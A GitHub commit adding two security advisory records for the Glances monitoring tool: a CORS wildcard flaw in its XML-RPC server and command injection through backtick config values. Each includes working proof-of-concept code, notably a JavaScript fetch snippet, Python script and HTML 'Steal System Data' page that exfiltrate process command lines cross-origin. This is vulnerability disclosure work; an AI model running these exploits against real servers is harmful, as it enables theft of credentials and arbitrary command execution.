Skip to content

Commit d0a7a3e

Browse files
1 parent a402092 commit d0a7a3e

2 files changed

Lines changed: 114 additions & 0 deletions

File tree

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7p93-6934-f4q7",
4+
"modified": "2026-03-30T17:00:54Z",
5+
"published": "2026-03-30T17:00:54Z",
6+
"aliases": [
7+
"CVE-2026-33533"
8+
],
9+
"summary": "Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard",
10+
"details": "### Summary\n\nThe Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).\n\n### Details\n\nFile: glances/server.py, class GlancesXMLRPCHandler, line 41\n\n```python\ndef send_my_headers(self):\n self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n```\n\nThis header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.\n\nThe REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.\n\n### PoC\n\nPrerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.\n\nStep 1. Start the Glances XML-RPC server on the target machine:\n\n```\nglances -s -p 61209\n```\n\nStep 2. From any machine, run the Python PoC to confirm the issue server-side:\n\n```\npython3 poc_test.py TARGET_IP 61209\n```\n\nStep 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click \"Steal System Data\". The page will display the full system monitoring data retrieved cross-origin.\n\nStep 4. Alternatively, paste this into any browser console while on any website:\n\n```javascript\nfetch(\"http://TARGET_IP:61209/RPC2\", {\n method: \"POST\",\n headers: {\"Content-Type\": \"text/plain\"},\n body: '<?xml version=\"1.0\"?><methodCall><methodName>getAll</methodName></methodCall>'\n}).then(r => r.text()).then(d => {\n let m = d.match(/<string>([\\s\\S]*?)<\\/string>/);\n let data = JSON.parse(m[1].replace(/&lt;/g,\"<\").replace(/&gt;/g,\">\").replace(/&amp;/g,\"&\"));\n console.log(\"Hostname:\", data.system.hostname);\n console.log(\"Processes:\", data.processlist.length);\n console.log(\"First process cmdline:\", data.processlist[0].cmdline);\n});\n```\n\nVerified output from testing on Glances 4.5.3_dev01 (current main branch):\n\n```\n[+] HTTP Status: 200\n[+] Access-Control-Allow-Origin: *\n[+] Successfully retrieved system data cross-origin.\nHostname: claude\nOS: Linux 6.8.0-1024-gcp\nProcess count: 125\nTop processes include full command lines with arguments\nTotal data categories exposed: 35\n```\n\n### Impact\n\nAny user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.\n\npoc_test.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration\n\nThis script simulates the browser-based attack by sending a POST request with\nContent-Type: text/plain (CORS simple request) to the Glances XML-RPC server.\n\nThe server responds with Access-Control-Allow-Origin: * which allows any\nwebpage to read the full response containing system monitoring data.\n\nUsage: python3 poc_test.py [target_host] [target_port]\nDefault: python3 poc_test.py 127.0.0.1 61209\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport xmlrpc.client\n\n\ndef main():\n host = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\n port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209\n\n print(f\"[*] Target: {host}:{port}\")\n print(f\"[*] Simulating cross-origin request (Content-Type: text/plain)\")\n print()\n\n conn = http.client.HTTPConnection(host, port, timeout=10)\n\n # XML-RPC payload sent as text/plain to avoid CORS preflight\n payload = '<?xml version=\"1.0\"?><methodCall><methodName>getAll</methodName></methodCall>'\n headers = {\n \"Content-Type\": \"text/plain\",\n \"Origin\": \"http://evil-attacker.com\",\n }\n\n try:\n conn.request(\"POST\", \"/RPC2\", body=payload, headers=headers)\n response = conn.getresponse()\n except Exception as e:\n print(f\"[-] Connection failed: {e}\")\n sys.exit(1)\n\n print(f\"[+] HTTP Status: {response.status}\")\n cors = response.getheader(\"Access-Control-Allow-Origin\")\n print(f\"[+] Access-Control-Allow-Origin: {cors}\")\n print()\n\n if cors != \"*\":\n print(\"[-] CORS header is not wildcard. Attack would not work.\")\n sys.exit(1)\n\n data = response.read()\n result = xmlrpc.client.loads(data)[0][0]\n parsed = json.loads(result)\n\n print(\"[+] Successfully retrieved system data cross-origin.\")\n print()\n print(\"=== Stolen System Information ===\")\n print()\n\n system = parsed.get(\"system\", {})\n print(f\"Hostname: {system.get('hostname', 'N/A')}\")\n print(f\"OS: {system.get('os_name', 'N/A')} {system.get('os_version', '')}\")\n print(f\"Platform: {system.get('platform', 'N/A')}\")\n print(f\"Distribution: {system.get('linux_distro', 'N/A')}\")\n print()\n\n cpu = parsed.get(\"cpu\", {})\n print(f\"CPU user: {cpu.get('user', 'N/A')}%\")\n print(f\"CPU system: {cpu.get('system', 'N/A')}%\")\n print(f\"CPU cores: {cpu.get('cpucore', 'N/A')}\")\n print()\n\n mem = parsed.get(\"mem\", {})\n total_mb = round((mem.get(\"total\", 0)) / 1024 / 1024)\n used_mb = round((mem.get(\"used\", 0)) / 1024 / 1024)\n print(f\"Memory: {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)\")\n print()\n\n ip_info = parsed.get(\"ip\", {})\n print(f\"IP Address: {ip_info.get('address', 'N/A')}\")\n print(f\"Subnet Mask: {ip_info.get('mask', 'N/A')}\")\n print()\n\n procs = parsed.get(\"processlist\", [])\n print(f\"Process count: {len(procs)}\")\n print()\n print(\"Top 5 processes by CPU (with command lines):\")\n for p in sorted(procs, key=lambda x: x.get(\"cpu_percent\", 0), reverse=True)[:5]:\n cmdline = p.get(\"cmdline\", [])\n cmd = \" \".join(cmdline) if isinstance(cmdline, list) else str(cmdline)\n print(f\" PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}\")\n\n print()\n print(f\"[+] Total data categories exposed: {len(parsed.keys())}\")\n print(f\"[+] Categories: {', '.join(sorted(parsed.keys()))}\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\npoc_cors_xmlrpc.html\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Glances XML-RPC CORS PoC</title></head>\n<body>\n<h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2>\n<p>Target: <input id=\"target\" value=\"http://127.0.0.1:61209\" size=\"40\"></p>\n<button onclick=\"exploit()\">Steal System Data</button>\n<pre id=\"output\" style=\"background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;\"></pre>\n<script>\nasync function exploit() {\n const target = document.getElementById(\"target\").value;\n const out = document.getElementById(\"output\");\n out.textContent = \"[*] Sending cross-origin XML-RPC request to \" + target + \"/RPC2\\n\";\n out.textContent += \"[*] Content-Type: text/plain (CORS simple request, no preflight)\\n\\n\";\n\n try {\n const resp = await fetch(target + \"/RPC2\", {\n method: \"POST\",\n headers: {\"Content-Type\": \"text/plain\"},\n body: '<?xml version=\"1.0\"?><methodCall><methodName>getAll</methodName></methodCall>'\n });\n\n out.textContent += \"[+] Response status: \" + resp.status + \"\\n\";\n out.textContent += \"[+] CORS header: \" + resp.headers.get(\"Access-Control-Allow-Origin\") + \"\\n\\n\";\n\n const xml = await resp.text();\n const match = xml.match(/<string>([\\s\\S]*?)<\\/string>/);\n if (match) {\n const data = JSON.parse(match[1].replace(/&lt;/g,\"<\").replace(/&gt;/g,\">\").replace(/&amp;/g,\"&\"));\n out.textContent += \"[+] === STOLEN SYSTEM DATA ===\\n\\n\";\n out.textContent += \"Hostname: \" + (data.system?.hostname || \"N/A\") + \"\\n\";\n out.textContent += \"OS: \" + (data.system?.os_name || \"N/A\") + \" \" + (data.system?.os_version || \"\") + \"\\n\";\n out.textContent += \"CPU cores: \" + (data.cpu?.cpucore || \"N/A\") + \"\\n\";\n out.textContent += \"CPU usage: \" + (data.cpu?.user || \"N/A\") + \"% user\\n\";\n out.textContent += \"Memory: \" + Math.round((data.mem?.used||0)/1024/1024) + \"MB / \" + Math.round((data.mem?.total||0)/1024/1024) + \"MB\\n\";\n out.textContent += \"Processes: \" + (data.processlist?.length || 0) + \"\\n\\n\";\n\n if (data.processlist?.length > 0) {\n out.textContent += \"[+] Top 10 processes (with full command lines):\\n\";\n data.processlist.slice(0, 10).forEach(p => {\n const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(\" \") : (p.cmdline || \"\");\n out.textContent += \" PID \" + p.pid + \" | \" + p.name + \" | \" + cmd.substring(0,120) + \"\\n\";\n });\n }\n\n if (data.network?.length > 0) {\n out.textContent += \"\\n[+] Network interfaces:\\n\";\n data.network.forEach(n => {\n out.textContent += \" \" + n.interface_name + \" | RX: \" + n.bytes_recv + \" TX: \" + n.bytes_sent + \"\\n\";\n });\n }\n\n if (data.fs?.length > 0) {\n out.textContent += \"\\n[+] Filesystems:\\n\";\n data.fs.forEach(f => {\n out.textContent += \" \" + f.mnt_point + \" | \" + f.device_name + \" | \" + f.percent + \"% used\\n\";\n });\n }\n }\n } catch(e) {\n out.textContent += \"[-] Error: \" + e.message + \"\\n\";\n }\n}\n</script>\n</body>\n</html>\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "Glances"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "4.5.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/nicolargo/glances"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-942"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-30T17:00:54Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-qhj7-v7h7-q4c7",
4+
"modified": "2026-03-30T17:01:27Z",
5+
"published": "2026-03-30T17:01:27Z",
6+
"aliases": [
7+
"CVE-2026-33641"
8+
],
9+
"summary": "Glances Vulnerable to Command Injection via Dynamic Configuration Values",
10+
"details": "## Summary\nGlances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands.\n\nIf an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation.\n\n## Details\n\n1. Glances loads configuration files from user, system, or custom paths during initialization.\n2. When retrieving a configuration value, Config.get_value() scans for substrings enclosed in backticks.\n\n **File: glances/config.py**\n \n```\nmatch = self.re_pattern.findall(ret)\nfor m in match:\n ret = ret.replace(m, system_exec(m[1:-1]))\n```\n\n\n3. The extracted string is passed directly to system_exec().\n\n **File: glances/globals.py**\n \n \n```sh\nres = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('utf-8')\n```\n\n4. The command is executed and its output replaces the original configuration value.\n\nThis execution occurs automatically whenever the configuration value is read.\n\n### Affected Files\n\n glances/config.py — dynamic configuration parsing\n\n glances/globals.py — command execution helper\n\n## Proof of Concept (PoC)\n\nScenario: Arbitrary command execution via configuration value\n\n**Step 1 — Create malicious configuration file**\n\n```sh\n/tmp/glances.conf\n```\n\nadd below txt on the file\n\n```\n[outputs]\nurl_prefix = 'id'\n```\n\n**Step 2 — Launch Glances with custom configuration**\n\n```sh\nglances -C /tmp/glances.conf\n```\n\n**Step 3 — Observe behavior**\n\nWhen Glances reads the configuration:\n\n - The command inside backticks is executed\n - Output replaces the configuration value\n - Execution occurs without user interaction\n \n \n Reproduce using Python code\n \n \n```\nimport subprocess\nimport re\n\ndef system_exec(command):\n return subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode().strip()\n\nvalue = \"`id`\"\npattern = re.compile(r'(`.+?`)')\n\nfor m in pattern.findall(value):\n print(system_exec(m[1:-1]))\n```\n\n**Output:**\n\n\n`uid=1000(user) gid=1000(user) groups=1000(user)`\n\n## Impact\n\n### Arbitrary Command Execution\n\nAny command enclosed in backticks inside a configuration value will execute with the privileges of the Glances process.\n\n### Potential Privilege Escalation\n\nIf Glances runs as a privileged service (e.g., root), commands execute with those privileges.\n\nPossible scenarios include:\n\n- Misconfigured file permissions allowing unauthorized config modification\n- Shared systems where configuration directories are writable by multiple users\n- Container environments with mounted configuration volumes\n- Automated configuration management systems that ingest untrusted data",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "Glances"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "4.5.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/nicolargo/glances"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-78"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-30T17:01:27Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)